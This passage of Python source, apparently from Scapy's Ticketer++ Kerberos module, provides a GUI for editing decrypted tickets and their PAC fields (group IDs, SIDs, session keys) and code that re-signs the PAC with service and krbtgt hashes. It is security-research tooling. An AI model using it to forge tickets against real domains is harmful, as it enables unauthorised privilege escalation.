EditDialog(tksd.Dialog):\n            def __init__(self, *args, **kwargs):\n                self.data = {}\n                self.initial_values = kwargs.pop(\"values\", {})\n                self.success = False\n                super(EditDialog, self).__init__(*args, **kwargs)\n\n            def body(diag, frame):\n                self._make_fields(\n                    frame,\n                    [(x, diag.initial_values.get(x, \"\")) for x in headers],\n                    datastore=diag.data,\n                )\n                return frame\n\n            def ok(self, *args, **kwargs):\n                self.success = True\n                super(EditDialog, self).ok(*args, **kwargs)\n\n            def values(self):\n                return tuple(x.get() for x in self.data.values())\n\n        def add():\n            dialog = EditDialog(title=\"Add\", parent=tree)\n            if dialog.success:\n                i = len(tree.get_children())\n                tree.insert(parent=\"\", index=\"end\", iid=i, values=dialog.values())\n            _update_datastore()\n\n        def edit():\n            selected = tree.focus()\n            if not selected:\n                return\n            values = dict(zip(headers, tree.item(selected, \"values\")))\n            dialog = EditDialog(title=\"Edit\", parent=tree, values=values)\n            if dialog.success:\n                tree.item(selected, values=dialog.values())\n            _update_datastore()\n\n        def remove():\n            selected = tree.focus()\n            if selected:\n                tree.delete(selected)\n            _update_datastore()\n\n        btns = ttk.Frame(wrap)\n        ttk.Button(btns, text=\"Add\", command=add).grid(row=0, column=0, padx=10)\n        ttk.Button(btns, text=\"Edit\", command=edit).grid(row=0, column=1, padx=10)\n        ttk.Button(btns, text=\"Remove\", command=remove).grid(row=0, column=2, padx=10)\n        btns.pack()\n        wrap.pack(fill=\"x\")\n\n    def _make_list(self, element, func, key, fields_list, new_values):\n        tbl = ttk.Frame(element)\n        tbl.pack()\n\n        self._data[key] = data = collections.defaultdict(dict)\n\n        def append(val):\n            i = tbl.grid_size()[1]\n            elt = ttk.Frame(tbl, style=\"BorderFrame.TFrame\")\n            elt.grid(padx=10, pady=10, row=i, column=0)\n            func(elt, val, data[i])\n\n        for val in fields_list:\n            append(val)\n\n        def add():\n            append(new_values.copy())\n\n        def delete():\n            slavescount = len(tbl.grid_slaves())\n            i = tksd.askinteger(\n                \"Delete\",\n                \"Input the index of the Claim to delete [0-%s]\" % (slavescount - 1),\n                parent=tbl,\n            )\n            if i is None or i > slavescount - 1:\n                return\n            tbl.grid_slaves(row=i, column=0)[0].destroy()\n            del data[i]\n\n        btns = ttk.Frame(element)\n        ttk.Button(btns, text=\"Add\", command=add).grid(row=0, column=0, padx=10)\n        ttk.Button(btns, text=\"Delete\", command=delete).grid(row=0, column=1, padx=10)\n        btns.pack()\n\n    _TIME_FIELD = UTCTimeField(\n        \"\",\n        None,\n        fmt=\"<Q\",\n        epoch=[1601, 1, 1, 0, 0, 0],\n        custom_scaling=1e7,\n        strf=\"%Y-%m-%d %H:%M:%S\",\n    )\n\n    def _pretty_time(self, x):\n        return self._TIME_FIELD.i2repr(None, x).rsplit(\" \", 1)[0]\n\n    def _utc_to_mstime(self, x):\n        return int((x - self._TIME_FIELD.delta) * 1e7)\n\n    def _time_to_int(self, x):\n        return self._utc_to_mstime(\n            datetime.strptime(x, self._TIME_FIELD.strf).timestamp()\n        )\n\n    def _time_to_asn1(self, x):\n        return ASN1_GENERALIZED_TIME(datetime.strptime(x, self._TIME_FIELD.strf))\n\n    def _time_to_filetime(self, x):\n        if isinstance(x, str) and x.strip() == \"NEVER\":\n            return FILETIME(dwHighDateTime=0x7FFFFFFF, dwLowDateTime=0xFFFFFFFF)\n        if isinstance(x, str):\n            x = self._time_to_int(x)\n        else:\n            x = self._utc_to_mstime(x)\n        return FILETIME(\n            dwHighDateTime=(x >> 32) & 0xFFFFFFFF,\n            dwLowDateTime=x & 0xFFFFFFFF,\n        )\n\n    def _filetime_totime(self, x):\n        if x.dwHighDateTime == 0x7FFFFFFF and x.dwLowDateTime == 0xFFFFFFFF:\n            return \"NEVER\"\n        return self._pretty_time((x.dwHighDateTime << 32) + x.dwLowDateTime)\n\n    def _pretty_sid(self, sid):\n        if not sid or not sid.IdentifierAuthority.Value:\n            return \"\"\n        return sid.summary()\n\n    def _getLogonInformation(self, pac, element):\n        logonInfo = pac.getPayload(0x00000001)\n        if not logonInfo:\n            pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x00000001))\n            logonInfo = KERB_VALIDATION_INFO()\n        else:\n            logonInfo = logonInfo.value\n        self._make_fields(\n            element,\n            [\n                (\"LogonTime\", self._filetime_totime(logonInfo.LogonTime)),\n                (\"LogoffTime\", self._filetime_totime(logonInfo.LogoffTime)),\n                (\"KickOffTime\", self._filetime_totime(logonInfo.KickOffTime)),\n                (\n                    \"PasswordLastSet\",\n                    self._filetime_totime(logonInfo.PasswordLastSet),\n                ),\n                (\n                    \"PasswordCanChange\",\n                    self._filetime_totime(logonInfo.PasswordCanChange),\n                ),\n                (\n                    \"PasswordMustChange\",\n                    self._filetime_totime(logonInfo.PasswordMustChange),\n                ),\n                (\n                    \"EffectiveName\",\n                    logonInfo.EffectiveName.Buffer.value.value[0].value.decode(),\n                ),\n                (\n                    \"FullName\",\n                    logonInfo.FullName.Buffer.value.value[0].value.decode(),\n                ),\n                (\n                    \"LogonScript\",\n                    logonInfo.LogonScript.Buffer.value.value[0].value.decode(),\n                ),\n                (\n                    \"ProfilePath\",\n                    logonInfo.ProfilePath.Buffer.value.value[0].value.decode(),\n                ),\n                (\n                    \"HomeDirectory\",\n                    logonInfo.HomeDirectory.Buffer.value.value[0].value.decode(),\n                ),\n                (\n                    \"HomeDirectoryDrive\",\n                    logonInfo.HomeDirectoryDrive.Buffer.value.value[0].value.decode(),\n                ),\n                (\"LogonCount\", str(logonInfo.LogonCount)),\n                (\"BadPasswordCount\", str(logonInfo.BadPasswordCount)),\n                (\"UserId\", str(logonInfo.UserId)),\n                (\"PrimaryGroupId\", str(logonInfo.PrimaryGroupId)),\n            ],\n        )\n        self._make_table(\n            element,\n            \"GroupIds\",\n            [\"RelativeId\", \"Attributes\"],\n            [\n                (str(x.RelativeId), str(x.Attributes))\n                for x in logonInfo.GroupIds.value.value\n            ],\n        )\n        self._make_fields(\n            element,\n            [\n                (\"UserFlags\", str(logonInfo.UserFlags)),\n                (\n                    \"UserSessionKey\",\n                    bytes_hex(\n                        b\"\".join(x.data for x in logonInfo.UserSessionKey.data)\n                    ).decode(),\n                ),\n                (\n                    \"LogonServer\",\n                    logonInfo.LogonServer.Buffer.value.value[0].value.decode(),\n                ),\n                (\n                    \"LogonDomainName\",\n                    logonInfo.LogonDomainName.Buffer.value.value[0].value.decode(),\n                ),\n                (\n                    \"LogonDomainId\",\n                    self._pretty_sid(logonInfo.LogonDomainId.value),\n                ),\n                (\"UserAccountControl\", str(logonInfo.UserAccountControl)),\n            ],\n        )\n        self._make_table(\n            element,\n            \"ExtraSids\",\n            [\"Sid\", \"Attributes\"],\n            [\n                (self._pretty_sid(x.Sid.value), str(x.Attributes))\n                for x in (\n                    logonInfo.ExtraSids.value.value if logonInfo.ExtraSids else []\n                )\n            ],\n        )\n        self._make_fields(\n            element,\n            [\n                (\n                    \"ResourceGroupDomainSid\",\n                    self._pretty_sid(\n                        logonInfo.ResourceGroupDomainSid.value\n                        if logonInfo.ResourceGroupDomainSid\n                        else None\n                    ),\n                ),\n            ],\n        )\n        self._make_table(\n            element,\n            \"ResourceGroupIds\",\n            [\"RelativeId\", \"Attributes\"],\n            [\n                (str(x.RelativeId), str(x.Attributes))\n                for x in (\n                    logonInfo.ResourceGroupIds.value.value\n                    if logonInfo.ResourceGroupIds\n                    else []\n                )\n            ],\n        )\n\n    def _getClientInfo(self, pac, element):\n        clientInfo = pac.getPayload(0x0000000A)\n        if not clientInfo:\n            pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x0000000A))\n            clientInfo = PAC_CLIENT_INFO()\n        return self._make_fields(\n            element,\n            [\n                (\"ClientId\", self._pretty_time(clientInfo.ClientId)),\n                (\"Name\", clientInfo.Name),\n            ],\n        )\n\n    def _getUPNDnsInfo(self, pac, element):\n        upndnsinfo = pac.getPayload(0x0000000C)\n        if not upndnsinfo:\n            pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x0000000C))\n            upndnsinfo = UPN_DNS_INFO()\n        return self._make_fields(\n            element,\n            [\n                (\"Upn\", upndnsinfo.Upn),\n                (\"DnsDomainName\", upndnsinfo.DnsDomainName),\n                (\n                    \"SamName\",\n                    (\n                        upndnsinfo.SamName\n                        if upndnsinfo.Flags.S and upndnsinfo.SamNameLen\n                        else \"\"\n                    ),\n                ),\n                (\n                    \"UpnDnsSid\",\n                    (\n                        self._pretty_sid(upndnsinfo.Sid)\n                        if upndnsinfo.Flags.S and upndnsinfo.SidLen\n                        else \"\"\n                    ),\n                ),\n            ],\n        )\n\n    def _getClientClaims(self, pac, element):\n        clientClaims = pac.getPayload(0x0000000D)\n        if not clientClaims or isinstance(clientClaims, conf.padding_layer):\n            pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x0000000D))\n            claimsArray = []\n        else:\n            claimsArray = (\n                clientClaims.value.valueof(\"Claims\")\n                .valueof(\"ClaimsSet\")\n                .value.valueof(\"ClaimsArrays\")\n            )\n\n        def func(elt, x, datastore):\n            self._make_fields(\n                elt,\n                [\n                    (\"ClaimsSourceType\", str(x.usClaimsSourceType)),\n                ],\n                datastore=datastore,\n            )\n            self._make_table(\n                elt,\n                \"ClaimEntries\",\n                [\"Id\", \"Type\", \"Values\"],\n                [\n                    (\n                        y.valueof(\"Id\").decode(),\n                        str(y.Type),\n                        \";\".join(\n                            z.decode()\n                            for z in y.valueof(\"Values\").valueof(\"StringValues\")\n                        ),\n                    )\n                    for y in x.valueof(\"ClaimEntries\")\n                ],\n                datastore=datastore,\n            )\n\n        return self._make_list(\n            element,\n            func=func,\n            key=\"ClaimsArrays\",\n            fields_list=claimsArray,\n            new_values=CLAIMS_ARRAY(ClaimEntries=[]),\n        )\n\n    def _getPACAttributes(self, pac, element):\n        pacAttributes = pac.getPayload(0x00000011)\n        if not pacAttributes:\n            pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x00000011))\n            pacAttributes = PAC_ATTRIBUTES_INFO(Flags=0)\n        flags = str(pacAttributes.Flags[0]).split(\"+\")\n        self._data[\"pacAttributes\"] = {}\n        self._make_checkbox(\n            element,\n            [\n                \"PAC_WAS_REQUESTED\",\n                \"PAC_WAS_GIVEN_IMPLICITLY\",\n            ],\n            flags,\n            self._data[\"pacAttributes\"],\n        )\n\n    def _getPACRequestor(self, pac, element):\n        pacRequestor = pac.getPayload(0x00000012)\n        if not pacRequestor:\n            pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x00000012))\n            pacRequestor = PAC_REQUESTOR_SID()\n        return self._make_fields(\n            element, [(\"ReqSid\", self._pretty_sid(pacRequestor.Sid))]\n        )\n\n    def _getServerChecksum(self, pac, element):\n        serverChecksum = pac.getPayload(0x00000006)\n        if not serverChecksum:\n            pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x00000006))\n            serverChecksum = PAC_SIGNATURE_DATA()\n        return self._make_fields(\n            element,\n            [\n                (\n                    \"SRVSignatureType\",\n                    (\n                        str(serverChecksum.SignatureType)\n                        if serverChecksum.SignatureType is not None\n                        else \"\"\n                    ),\n                ),\n                (\"SRVSignature\", bytes_hex(serverChecksum.Signature).decode()),\n                (\"SRVRODCIdentifier\", serverChecksum.RODCIdentifier.decode()),\n            ],\n        )\n\n    def _getKDCChecksum(self, pac, element):\n        kdcChecksum = pac.getPayload(0x00000007)\n        if not kdcChecksum:\n            pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x00000007))\n            kdcChecksum = PAC_SIGNATURE_DATA()\n        return self._make_fields(\n            element,\n            [\n                (\n                    \"KDCSignatureType\",\n                    (\n                        str(kdcChecksum.SignatureType)\n                        if kdcChecksum.SignatureType is not None\n                        else \"\"\n                    ),\n                ),\n                (\"KDCSignature\", bytes_hex(kdcChecksum.Signature).decode()),\n                (\"KDCRODCIdentifier\", kdcChecksum.RODCIdentifier.decode()),\n            ],\n        )\n\n    def _getTicketChecksum(self, pac, element):\n        ticketChecksum = pac.getPayload(0x00000010)\n        if not ticketChecksum:\n            pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x00000010))\n            ticketChecksum = PAC_SIGNATURE_DATA()\n        return self._make_fields(\n            element,\n            [\n                (\n                    \"TKTSignatureType\",\n                    (\n                        str(ticketChecksum.SignatureType)\n                        if ticketChecksum.SignatureType is not None\n                        else \"\"\n                    ),\n                ),\n                (\"TKTSignature\", bytes_hex(ticketChecksum.Signature).decode()),\n                (\"TKTRODCIdentifier\", ticketChecksum.RODCIdentifier.decode()),\n            ],\n        )\n\n    def _getExtendedKDCChecksum(self, pac, element):\n        exkdcChecksum = pac.getPayload(0x00000013)\n        if not exkdcChecksum:\n            pac.Buffers.append(PAC_INFO_BUFFER(ulType=0x00000013))\n            exkdcChecksum = PAC_SIGNATURE_DATA()\n        return self._make_fields(\n            element,\n            [\n                (\n                    \"EXKDCSignatureType\",\n                    (\n                        str(exkdcChecksum.SignatureType)\n                        if exkdcChecksum.SignatureType is not None\n                        else \"\"\n                    ),\n                ),\n                (\"EXKDCSignature\", bytes_hex(exkdcChecksum.Signature).decode()),\n                (\"EXKDCRODCIdentifier\", exkdcChecksum.RODCIdentifier.decode()),\n            ],\n        )\n\n    def edit_ticket(self, i, key=None, hash=None):\n        \"\"\"\n        Edit a Kerberos ticket using the GUI\n        \"\"\"\n        if tk is None:\n            raise ImportError(\n                \"tkinter is not installed (`apt install python3-tk` on debian)\"\n            )\n        tkt = self.dec_ticket(i, key=key, hash=hash)\n        pac = tkt.authorizationData.seq[0].adData[0].seq[0].adData\n\n        # WIDTH, HEIGHT = 1120, 1000\n\n        # Note: for TK doc, use https://tkdocs.com\n\n        # Root\n        root = tk.Tk()\n        root.title(\"Ticketer++ (@secdev/scapy)\")\n        # root.geometry(\"%sx%s\" % (WIDTH, HEIGHT))\n        # root.resizable(0, 1)\n\n        scrollFrame = ScrollFrame(root)\n        frm = scrollFrame.viewPort\n\n        tk_ticket = ttk.Frame(frm, padding=5)\n        tk_pac = ttk.Frame(frm, padding=5)\n\n        ttk.Button(frm, text=\"Quit\", command=root.destroy).grid(\n            column=0, row=1, columnspan=2\n        )\n\n        # TTK style\n\n        ttkstyle = ttk.Style()\n        ttkstyle.theme_use(\"alt\")\n        ttkstyle.configure(\n            \"BorderFrame.TFrame\",\n            relief=\"groove\",\n            borderwidth=3,\n        )\n\n        # MAIN TICKET\n\n        # Flags\n        tk_flags = ttk.LabelFrame(\n            tk_ticket,\n            text=\"Flags\",\n            style=\"BorderFrame.TFrame\",\n        )\n        tk_flags.pack(fill=\"x\", pady=5)\n        flags = tkt.get_field(\"flags\").get_flags(tkt)\n        self._data[\"flags\"] = {}\n        self._make_checkbox(tk_flags, _TICKET_FLAGS, flags, self._data[\"flags\"])\n\n        # Key\n        tk_key = ttk.LabelFrame(\n            tk_ticket,\n            text=\"key\",\n            style=\"BorderFrame.TFrame\",\n        )\n        tk_key.pack(fill=\"x\", pady=5)\n        self._make_fields(\n            tk_key,\n            [\n                (\"keytype\", str(tkt.key.keytype.val)),\n                (\n                    \"keyvalue\",\n                    bytes_hex(tkt.key.keyvalue.val).decode(),\n                ),\n            ],\n        )\n\n        # crealm\n        self._make_fields(tk_ticket, [(\"crealm\", tkt.crealm.val.decode())])\n\n        # cname\n        tk_cname = ttk.LabelFrame(\n            tk_ticket,\n            text=\"cname\",\n            style=\"BorderFrame.TFrame\",\n        )\n        tk_cname.pack(fill=\"x\", pady=5)\n        self._make_fields(\n            tk_cname,\n            [\n                (\n                    \"nameType\",\n                    str(tkt.cname.nameType.val),\n                ),\n            ],\n        )\n        self._make_table(\n            tk_cname,\n            \"nameString\",\n            [\"Value\"],\n            [(x.val.decode(),) for x in tkt.cname.nameString],\n        )\n\n        # transited\n        tk_transited = ttk.LabelFrame(\n            tk_ticket,\n            text=\"transited\",\n            style=\"BorderFrame.TFrame\",\n        )\n        tk_transited.pack(fill=\"x\", pady=5)\n        self._make_fields(\n            tk_transited,\n            [\n                #\n                (\n                    \"trType\",\n                    str(tkt.transited.trType.val),\n                ),\n                (\n                    \"contents\",\n                    tkt.transited.contents.val.decode(),\n                ),\n            ],\n        )\n\n        # times\n        self._make_fields(\n            tk_ticket,\n            [\n                (\"authtime\", tkt.authtime.pretty_time.rstrip(\" UTC\")),\n                (\"starttime\", tkt.starttime.pretty_time.rstrip(\" UTC\")),\n                (\"endtime\", tkt.endtime.pretty_time.rstrip(\" UTC\")),\n                (\"renewTill\", tkt.renewTill.pretty_time.rstrip(\" UTC\")),\n            ],\n        )\n\n        # PAC\n\n        # Logon information\n        tk_logoninfo = ttk.LabelFrame(\n            tk_pac,\n            text=\"Logon information\",\n            style=\"BorderFrame.TFrame\",\n        )\n        tk_logoninfo.pack(fill=\"x\", pady=5)\n        self._getLogonInformation(pac, tk_logoninfo)\n\n        # Client name and ticket information\n        tk_clientinfo = ttk.LabelFrame(\n            tk_pac,\n            text=\"Client name and ticket information\",\n            style=\"BorderFrame.TFrame\",\n        )\n        tk_clientinfo.pack(fill=\"x\", pady=5)\n        self._getClientInfo(pac, tk_clientinfo)\n\n        # UPN and DNS information\n        tk_upndnsinfo = ttk.LabelFrame(\n            tk_pac,\n            text=\"UPN and DNS information\",\n            style=\"BorderFrame.TFrame\",\n        )\n        tk_upndnsinfo.pack(fill=\"x\", pady=5)\n        self._getUPNDnsInfo(pac, tk_upndnsinfo)\n\n        # Client claims information\n        tk_clientclaims = ttk.LabelFrame(\n            tk_pac,\n            text=\"Client claims information\",\n            style=\"BorderFrame.TFrame\",\n        )\n        tk_clientclaims.pack(fill=\"x\", pady=5)\n        self._getClientClaims(pac, tk_clientclaims)\n\n        # PAC Attributes\n        tk_pacattributes = ttk.LabelFrame(\n            tk_pac,\n            text=\"PAC Attributes\",\n            style=\"BorderFrame.TFrame\",\n        )\n        tk_pacattributes.pack(fill=\"x\", pady=5)\n        self._getPACAttributes(pac, tk_pacattributes)\n\n        # PAC Requestor\n        tk_pacrequestor = ttk.LabelFrame(\n            tk_pac,\n            text=\"PAC Requestor\",\n            style=\"BorderFrame.TFrame\",\n        )\n        tk_pacrequestor.pack(fill=\"x\", pady=5)\n        self._getPACRequestor(pac, tk_pacrequestor)\n\n        # Server checksum\n        tk_serverchksum = ttk.LabelFrame(\n            tk_pac,\n            text=\"Server checksum\",\n            style=\"BorderFrame.TFrame\",\n        )\n        tk_serverchksum.pack(fill=\"x\", pady=5)\n        self._getServerChecksum(pac, tk_serverchksum)\n\n        # KDC checksum\n        tk_serverchksum = ttk.LabelFrame(\n            tk_pac,\n            text=\"KDC checksum\",\n            style=\"BorderFrame.TFrame\",\n        )\n        tk_serverchksum.pack(fill=\"x\", pady=5)\n        self._getKDCChecksum(pac, tk_serverchksum)\n\n        # Ticket checksum\n        tk_serverchksum = ttk.LabelFrame(\n            tk_pac,\n            text=\"Ticket checksum\",\n            style=\"BorderFrame.TFrame\",\n        )\n        tk_serverchksum.pack(fill=\"x\", pady=5)\n        self._getTicketChecksum(pac, tk_serverchksum)\n\n        # Extended KDC checksum\n        tk_serverchksum = ttk.LabelFrame(\n            tk_pac,\n            text=\"Extended KDC checksum\",\n            style=\"BorderFrame.TFrame\",\n        )\n        tk_serverchksum.pack(fill=\"x\", pady=5)\n        self._getExtendedKDCChecksum(pac, tk_serverchksum)\n\n        # Run\n\n        tk_ticket.grid(column=0, row=0, sticky=tk.N)\n        tk_pac.grid(column=1, row=0, sticky=tk.N)\n\n        scrollFrame.pack(side=\"top\", fill=\"both\", expand=True)\n        root.mainloop()\n\n        # Rebuild\n        store = {\n            # KRB\n            \"flags\": ASN1_BIT_STRING(\n                \"\".join(\n                    \"1\" if self._data[\"flags\"][x].get() else \"0\" for x in _TICKET_FLAGS\n                )\n                + \"0\" * (-len(_TICKET_FLAGS) % 32)\n            ),\n            \"key\": {\n                \"keytype\": ASN1_INTEGER(int(self._data[\"keytype\"].get())),\n                \"keyvalue\": ASN1_STRING(hex_bytes(self._data[\"keyvalue\"].get())),\n            },\n            \"crealm\": ASN1_GENERAL_STRING(self._data[\"crealm\"].get()),\n            \"cname\": {\n                \"nameString\": [\n                    ASN1_GENERAL_STRING(x[0]) for x in self._data[\"nameString\"]\n                ],\n                \"nameType\": ASN1_INTEGER(int(self._data[\"nameType\"].get())),\n            },\n            \"authtime\": self._time_to_asn1(self._data[\"authtime\"].get()),\n            \"starttime\": self._time_to_asn1(self._data[\"starttime\"].get()),\n            \"endtime\": self._time_to_asn1(self._data[\"endtime\"].get()),\n            \"renewTill\": self._time_to_asn1(self._data[\"renewTill\"].get()),\n            # PAC\n            # Validation info\n            \"VI.LogonTime\": self._time_to_filetime(self._data[\"LogonTime\"].get()),\n            \"VI.LogoffTime\": self._time_to_filetime(self._data[\"LogoffTime\"].get()),\n            \"VI.KickOffTime\": self._time_to_filetime(self._data[\"KickOffTime\"].get()),\n            \"VI.PasswordLastSet\": self._time_to_filetime(\n                self._data[\"PasswordLastSet\"].get()\n            ),\n            \"VI.PasswordCanChange\": self._time_to_filetime(\n                self._data[\"PasswordCanChange\"].get()\n            ),\n            \"VI.PasswordMustChange\": self._time_to_filetime(\n                self._data[\"PasswordMustChange\"].get()\n            ),\n            \"VI.EffectiveName\": self._data[\"EffectiveName\"].get(),\n            \"VI.FullName\": self._data[\"FullName\"].get(),\n            \"VI.LogonScript\": self._data[\"LogonScript\"].get(),\n            \"VI.ProfilePath\": self._data[\"ProfilePath\"].get(),\n            \"VI.HomeDirectory\": self._data[\"HomeDirectory\"].get(),\n            \"VI.HomeDirectoryDrive\": self._data[\"HomeDirectoryDrive\"].get(),\n            \"VI.UserSessionKey\": hex_bytes(self._data[\"UserSessionKey\"].get()),\n            \"VI.LogonServer\": self._data[\"LogonServer\"].get(),\n            \"VI.LogonDomainName\": self._data[\"LogonDomainName\"].get(),\n            \"VI.LogonCount\": int(self._data[\"LogonCount\"].get()),\n            \"VI.BadPasswordCount\": int(self._data[\"BadPasswordCount\"].get()),\n            \"VI.UserId\": int(self._data[\"UserId\"].get()),\n            \"VI.PrimaryGroupId\": int(self._data[\"PrimaryGroupId\"].get()),\n            \"VI.GroupIds\": [\n                {\n                    \"RelativeId\": int(x[0]),\n                    \"Attributes\": int(x[1]),\n                }\n                for x in self._data[\"GroupIds\"]\n            ],\n            \"VI.UserFlags\": int(self._data[\"UserFlags\"].get()),\n            \"VI.LogonDomainId\": self._data[\"LogonDomainId\"].get(),\n            \"VI.UserAccountControl\": int(self._data[\"UserAccountControl\"].get()),\n            \"VI.ExtraSids\": [\n                {\n                    \"Sid\": x[0],\n                    \"Attributes\": int(x[1]),\n                }\n                for x in self._data[\"ExtraSids\"]\n            ],\n            \"VI.ResourceGroupDomainSid\": self._data[\"ResourceGroupDomainSid\"].get(),\n            \"VI.ResourceGroupIds\": [\n                {\n                    \"RelativeId\": int(x[0]),\n                    \"Attributes\": int(x[1]),\n                }\n                for x in self._data[\"ResourceGroupIds\"]\n            ],\n            # Pac Client infos\n            \"CI.ClientId\": self._time_to_int(self._data[\"ClientId\"].get()),\n            \"CI.Name\": self._data[\"Name\"].get(),\n            # UPN DNS Info\n            \"UPNDNS.Flags\": 3,\n            \"UPNDNS.Upn\": self._data[\"Upn\"].get(),\n            \"UPNDNS.DnsDomainName\": self._data[\"DnsDomainName\"].get(),\n            \"UPNDNS.SamName\": self._data[\"SamName\"].get(),\n            \"UPNDNS.Sid\": self._data[\"UpnDnsSid\"].get(),\n            # Client Claims\n            \"CC.ClaimsArrays\": [\n                {\n                    \"ClaimsSourceType\": int(ca[\"ClaimsSourceType\"].get()),\n                    \"ClaimEntries\": [\n                        {\n                            \"Id\": ce[0],\n                            \"Type\": int(ce[1]),\n                            \"StringValues\": ce[2],\n                        }\n                        for ce in ca[\"ClaimEntries\"]\n                    ],\n                }\n                for ca in self._data[\"ClaimsArrays\"].values()\n            ],\n            # Attributes Info\n            \"AI.Flags\": \"+\".join(\n                x\n                for x in [\"PAC_WAS_REQUESTED\", \"PAC_WAS_GIVEN_IMPLICITLY\"]\n                if self._data[\"pacAttributes\"][x].get()\n            ),\n            # Requestor\n            \"REQ.Sid\": self._data[\"ReqSid\"].get(),\n            # Server Checksum\n            \"SC.SignatureType\": int(self._data[\"SRVSignatureType\"].get()),\n            \"SC.Signature\": hex_bytes(self._data[\"SRVSignature\"].get()),\n            \"SC.RODCIdentifier\": hex_bytes(self._data[\"SRVRODCIdentifier\"].get()),\n            # KDC Checksum\n            \"KC.SignatureType\": int(self._data[\"KDCSignatureType\"].get() or \"-1\"),\n            \"KC.Signature\": hex_bytes(self._data[\"KDCSignature\"].get()),\n            \"KC.RODCIdentifier\": hex_bytes(self._data[\"KDCRODCIdentifier\"].get()),\n            # Ticket Checksum\n            \"TKT.SignatureType\": int(self._data[\"TKTSignatureType\"].get() or \"-1\"),\n            \"TKT.Signature\": hex_bytes(self._data[\"TKTSignature\"].get()),\n            \"TKT.RODCIdentifier\": hex_bytes(self._data[\"TKTRODCIdentifier\"].get()),\n            # Extended KDC Checksum\n            \"EXKC.SignatureType\": int(self._data[\"EXKDCSignatureType\"].get() or \"-1\"),\n            \"EXKC.Signature\": hex_bytes(self._data[\"EXKDCSignature\"].get()),\n            \"EXKC.RODCIdentifier\": hex_bytes(self._data[\"EXKDCRODCIdentifier\"].get()),\n        }\n        tkt = self._build_ticket(store)\n        if hash is None and key is not None:  # TODO: add key to update_ticket\n            hash = key.key\n        self.update_ticket(i, tkt, hash=hash)\n\n    def _resign_ticket(self, tkt, spn, hash=None, kdc_hash=None):\n        \"\"\"\n        Resign a ticket (priv)\n        \"\"\"\n        # [MS-PAC] 2.8.1 - 2.8.5\n        rpac = tkt.authorizationData.seq[0].adData.seq[0].adData  # real pac\n        tmp_tkt = tkt.copy()  # fake ticket and pac used for computation\n        pac = tmp_tkt.authorizationData.seq[0].adData.seq[0].adData\n        # Variables for Signatures, indexed by ulType\n        sig_i = {}\n        sig_type = {}\n        # Read PAC buffers to find all signatures, and set them to 0\n        for k, buf in enumerate(pac.Buffers):\n            if buf.ulType in [0x00000006, 0x00000007, 0x00000010, 0x00000013]:\n                sig_i[buf.ulType] = k\n                sig_type[buf.ulType] = pac.Payloads[k].SignatureType\n                try:\n                    pac.Payloads[k].Signature = (\n                        b\"\\x00\" * _checksums[pac.Payloads[k].SignatureType].macsize\n                    )\n                except KeyError:\n                    raise ValueError(\"Unknown/Unsupported signatureType\")\n                rpac.Buffers[k].cbBufferSize = None\n                rpac.Buffers[k].Offset = None\n\n        # There must at least be Server Signature and KDC Signature\n        if any(x not in sig_i for x in [0x00000006, 0x00000007]):\n            raise ValueError(\"Cannot sign PAC: missing a compulsory signature\")\n\n        # Build the 2 necessary keys\n        key_srv = self._prompt_hash(\n            spn,\n            cksumtype=sig_type[0x00000006],\n            hash=hash,\n        )\n        key_kdc = self._prompt_hash(\n            \"krbtgt/\" + \"@\".join(spn.split(\"@\")[1:] * 2),\n            cksumtype=sig_type[0x00000007],\n            hash=kdc_hash,\n        )\n\n        # Doc was updated after feedback ! it's now very clear.\n\n        # [MS-PAC] sect 2.8.1\n        # Signatures are computed in this order:\n        # - Ticket signature\n        # - Extended KDC signature\n        # - Server signature\n        # - KDC signature\n\n        # sect 2.8.2 - Ticket Signature\n\n        if 0x00000010 in sig_i:\n            # \"The ad-data in the PAC’s AuthorizationData element ([RFC4120]\n            # section 5.2.6) is replaced with a single zero byte\"\n            tmp_tkt.authorizationData.seq[0].adData.seq[0].adData = b\"\\x00\"\n            rpac.Payloads[sig_i[0x00000010]].Signature = ticket_sig = (\n                key_kdc.make_checksum(\n                    17, bytes(tmp_tkt)  # KERB_NON_KERB_CKSUM_SALT(17)\n                )\n            )\n            # included in the PAC when signing it for Extended Server Signature & Server Signature\n            pac.Payloads[sig_i[0x00000010]].Signature = ticket_sig\n\n        # sect 2.8.3 - Extended KDC Signature\n\n        if 0x00000013 in sig_i:\n            rpac.Payloads[sig_i[0x00000013]].Signature = extended_kdc_sig = (\n                key_kdc.make_checksum(17, bytes(pac))  # KERB_NON_KERB_CKSUM_SALT(17)\n            )\n            # included in the PAC when signing it for Server Signature\n            pac.Payloads[sig_i[0x00000013]].Signature = extended_kdc_sig\n\n        # sect 2.8.4 - Server Signature\n\n        rpac.Payloads[sig_i[0x00000006]].Signature = server_sig = key_srv.make_checksum(\n            17, bytes(pac)  # KERB_NON_KERB_CKSUM_SALT(17)\n        )\n\n        # sect 2.8.5 - KDC Signature\n\n        rpac.Payloads[sig_i[0x00000007]].Signature = key_kdc.make_checksum(\n            17, server_sig  # KERB_NON_KERB_CKSUM_SALT(17)\n        )\n        return tkt\n\n    def resign_ticket(self, i, hash=None, kdc_hash=None):\n        \"\"\"\n        Resign a ticket from CCache\n\n        :param hash: the hash to use to compute the Server Signature\n        :param kdc_hash: the hash to use to compute the KDC signature\n                         (if None, not recomputed unless its a TGT where is uses hash)\n        \"\"\"\n        tkt = self.dec_ticket(i, hash=hash)\n        self.update_ticket(i, tkt, resign=True, hash=hash, kdc_hash=kdc_hash)\n\n    def request_tgt(\n        self,\n        upn,\n        ip=None,\n        key=None,\n        password=None,\n        realm=None,\n        fast=False,\n        armor_with=None,\n        spn=None,\n        x509=None,\n        x509key=None,\n        p12=None,\n        **kwargs,\n    ):\n        \"\"\"\n        Request a Kerberos TGT and add it to the local CCache\n\n        See :func:`~scapy.layers.kerberos.krb_as_req` for the full documentation.\n        \"\"\"\n        if key is None and password is None:\n            # Do we have the credential in our Keystore ?\n            try:\n                key = self.get_cred(upn)\n            except ValueError:\n                # It's okay if we don't have the cred. krb_as_req will prompt.\n                pass\n\n        # If `armor_with` is specified, get the armor ticket from our store\n        armor_ticket, armor_ticket_skey, armor_ticket_upn = None, None, None\n        if armor_with is not None:\n            